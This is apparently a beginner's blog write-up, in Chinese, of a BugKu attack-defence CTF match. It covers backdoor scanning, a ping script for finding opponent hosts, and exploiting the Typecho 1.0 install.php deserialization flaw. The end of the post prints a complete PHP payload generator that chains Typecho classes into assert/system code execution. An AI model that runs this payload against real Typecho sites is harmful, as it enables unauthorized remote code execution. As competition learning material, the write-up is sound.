BugKu -- AWD --初探门路

写在前面

承诺今年会从0开始打一个AWD,作为一个这方面的小白,首先我和一个大佬请教了一下,所以这里先感谢BUGKU里面的Anyyy师傅对我询问的耐心讲解,在比赛过程中,也解答了我的很多问题,所以如果有人和我一样,也想从0开始的话,可以私信我,一起打,一起学习,一起进步。

连接服务器

这里我就简单的带过一下,就是在登录界面拿已经给好的用户名密码连接一下就行了,没啥技术含量。
在这里插入图片描述

下载源码,查杀后门

这一步就比较关键了,来接上服务器后需要把源码下载下来,然后使用D盾或者其他工具查杀一下后门,这里我使用的是一个在线工具河马,下载的时候可以使用filezilla等工具也可以,我是搞了半天没搞明白,直接用的finalshell。
在这里插入图片描述
出结果之后,都需要进去看看,如果直接就是木马文件的话,就直接删除,不用犹豫,如果写到了比较重要的文件的话,就需要在文件内把语句删除。

展开攻击

首先是可以通过自己的80端口来访问web服务的,大家都是差不多的,也就是说你也可以访问别人的web服务,那么就需要知道对方的ip地址。我这里是直接写了一个python脚本用的ping,也可以使用request来访问看看响应状态码是否是200。

判断对手地址

使用脚本来判断对手的地址。

import os

os.system('chcp 65001')  # 将cmd的显示字符编码从默认的GBK改为UTF-8
for num in range(0, 255):
    cmd = "ping" + " 192-168-1-" + str(num) + ".pvp1964.bugku.cn"
    res = os.system(cmd)

第一个只是简单的操作,这个文章我是分两天写的,第二天我有重新写了一个脚本,这个的返回结果和执行速度都更好一些,因为这里用了线程池,但是需要安装第三方的库

import pythonping
from concurrent.futures import ThreadPoolExecutor


def get_ip(ip):
    res = pythonping.ping(ip)
    if "Reply" in str(res):
        print(ip + " 是存活地址")


ip = []
for num in range(1, 255):
    ip.append("192-168-1-" + str(num) + ".pvp1964.bugku.cn")
with ThreadPoolExecutor(max_workers=100) as executor:
    result = executor.map(get_ip, ip)

查找漏洞

我们通过80端口访问自己的网站,通过chrome插件来判断cms,当然也可以通过别的方式,判断方式有很多,这里我们通过判断发现是typecho博客,且版本是1.0。
在这里插入图片描述

利用漏洞

发现这个cms之后,我们就要去网上查找一下是否存在相关漏洞了,我查了一下,发现存在反序列化漏洞,相关文章链接,看了文章之后是通过install.php这个文件利用的,所以我首先做的就是把自己的这个文件给删除掉,避免别人利用,这里就是已经删除了该文件。
在这里插入图片描述

其次我们就是利用漏洞
在这里插入图片描述
全局查找flag文件
在这里插入图片描述

在这里插入图片描述

读取flag文件

在这里插入图片描述

最后,附上该漏洞的payload,还有很多骚操作,大家可以尝试

<?php
class Typecho_Feed
{
        const RSS1 = 'RSS 1.0';
        const RSS2 = 'RSS 2.0';
        const ATOM1 = 'ATOM 1.0';
        const DATE_RFC822 = 'r';
        const DATE_W3CDTF = 'c';
        const EOL = "\n";
        private $_type;
        private $_items;

        public function __construct() {
                $this->_type = $this::RSS2;
                #$this->_type = $this::ATOM1;
                $this->_items[0] = array(
                        'category' => array(new Typecho_Request()),
                        'author' => new Typecho_Request(),
                );
        }
}
class Typecho_Request
{
        private $_params = array();
        private $_filter = array();

        public function __construct() {
                $this->_params['screenName'] = 'system("find / -name flag")'; //此处修改需要执行的代码
                $this->_filter[0] = 'assert';
        }
}

$exp = array(
        'adapter' => new Typecho_Feed(),
        'prefix'  => 'typecho_'
);

echo base64_encode(serialize($exp));
?>
  • 5
    点赞
  • 17
    收藏
    觉得还不错? 一键收藏
  • 3
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 3
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值